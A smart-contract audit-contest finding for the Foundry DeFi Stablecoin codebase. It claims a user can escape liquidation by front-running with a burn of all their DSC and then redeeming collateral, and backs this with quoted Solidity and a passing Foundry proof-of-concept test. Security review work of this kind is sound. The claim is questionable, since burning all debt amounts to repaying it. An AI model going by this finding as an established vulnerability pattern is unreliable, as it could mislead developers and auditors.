Foundry DeFi Stablecoin CodeHawks Audit Contest

Summary

A user with a liquid position can avoid being liquidated by front-running the call to liquidate burning all Dsc, thus avoiding liquidation, Then, proceed to redeem all collateral without any problems

Vulnerability Details

This is possible because the burnDsc function checks the HealthFactor after burning the token.

function burnDsc(uint256 amount) public moreThanZero(amount) {
_burnDsc(amount, msg.sender, msg.sender); 
_revertIfHealthFactorIsBroken(msg.sender); // I don't think this would ever hit...
}

The way it checks is by calling the _revertIfHealthFactorIsBroken function

 function _revertIfHealthFactorIsBroken(address user) internal view {
    uint256 userHealthFactor = _healthFactor(user);
    if (userHealthFactor < MIN_HEALTH_FACTOR) {//@audit-info MIN_HEALTH_FACTOR = 1e18; 
        revert DSCEngine__BreaksHealthFactor(userHealthFactor);
    }
}

which obtains the userHealthFactor by calling _healthFactor(user). Then, it checks if userHealthFactor < MIN_HEALTH_FACTOR and reverts if it’s true. so A user can avoid liquidation by burning all Dsc because the _healthFactor function

  function _healthFactor(address user) private view returns (uint256) {//@audit can pass user that not be msg-sender ?
    (uint256 totalDscMinted, uint256 collateralValueInUsd) = _getAccountInformation(user);//@audit-info _getAccountInformation --
    return _calculateHealthFactor(totalDscMinted, collateralValueInUsd);
}

calls _getAccountInformation(user)

function _getAccountInformation(address user)
    private
    view
    returns (uint256 totalDscMinted, uint256 collateralValueInUsd)
{
    totalDscMinted = s_DSCMinted[user];
    collateralValueInUsd = getAccountCollateralValue(user);//@audit-info getAccountCollateralValue
}

to obtain the value of totalDscMinted. Since all Dsc were burned, this value is 0. Then, it calls calculateHealthFactor(totalDscMinted, collateralValueInUsd)

  function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)
    internal
    pure
    returns (uint256)
{
    if (totalDscMinted == 0) return type(uint256).max;//@audit ---
    uint256 collateralAdjustedForThreshold =
     (collateralValueInUsd *
      LIQUIDATION_THRESHOLD)//@audit-info LIQUIDATION_THRESHOLD = 50; // 200% overcollateralized 
       / LIQUIDATION_PRECISION;//@audit-info LIQUIDATION_PRECISION = 100;

    return (collateralAdjustedForThreshold * 1e18) / totalDscMinted;
}

which checks if totalDscMinted == 0 and returns type(uint256).max. With this value returned, the check if (userHealthFactor < MIN_HEALTH_FACTOR) is bypassed.

function _revertIfHealthFactorIsBroken(address user) internal view {
    uint256 userHealthFactor = _healthFactor(user);
    if (userHealthFactor < MIN_HEALTH_FACTOR) {//<------- this is bypass
        revert DSCEngine__BreaksHealthFactor(userHealthFactor);
    }
}

run this test in DSCEngineTest.t.sol

function test_avoid_liquidate_burn() public  {

    vm.startPrank(user);
    ERC20Mock(weth).approve(address(dsce), amountCollateral);
    dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
    vm.stopPrank();
    int256 ethUsdUpdatedPrice = 18e8; // 1 ETH = $18

    
    MockV3Aggregator(ethUsdPriceFeed).updateAnswer(ethUsdUpdatedPrice);
    uint256 userHealthFactor = dsce.getHealthFactor(user);

    //***********try liquidate************
    ERC20Mock(weth).mint(liquidator, amountToMint);
    vm.startPrank(liquidator);
    ERC20Mock(weth).approve(address(dsce), collateralToCover);
    dsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
     vm.stopPrank();

    //**********simulation front run************************
    vm.startPrank(user);
    dsc.approve(address(dsce), amountToMint);
    dsce.burnDsc(amountToMint); // We are covering their whole debt
    dsce.redeemCollateral(weth,amountCollateral);
    vm.stopPrank();


       //**********fail liquidation************************
    vm.startPrank(liquidator);
    vm.expectRevert(DSCEngine.DSCEngine__HealthFactorOk.selector);
    dsce.liquidate(weth, user, amountToMint);
    vm.stopPrank();

}

the result of test

Running 1 test for test/unit/DSCEngineTest.t.sol:DSCEngineTest
[PASS] test_avoid_liquidate_burn() (gas: 462256)
Test result: ok. 1 passed; 0 failed; finished in 16.35ms

Impact

this break the flow of protocol

Tools Used

manual review

Recommendations

check the HealthFactor before that burns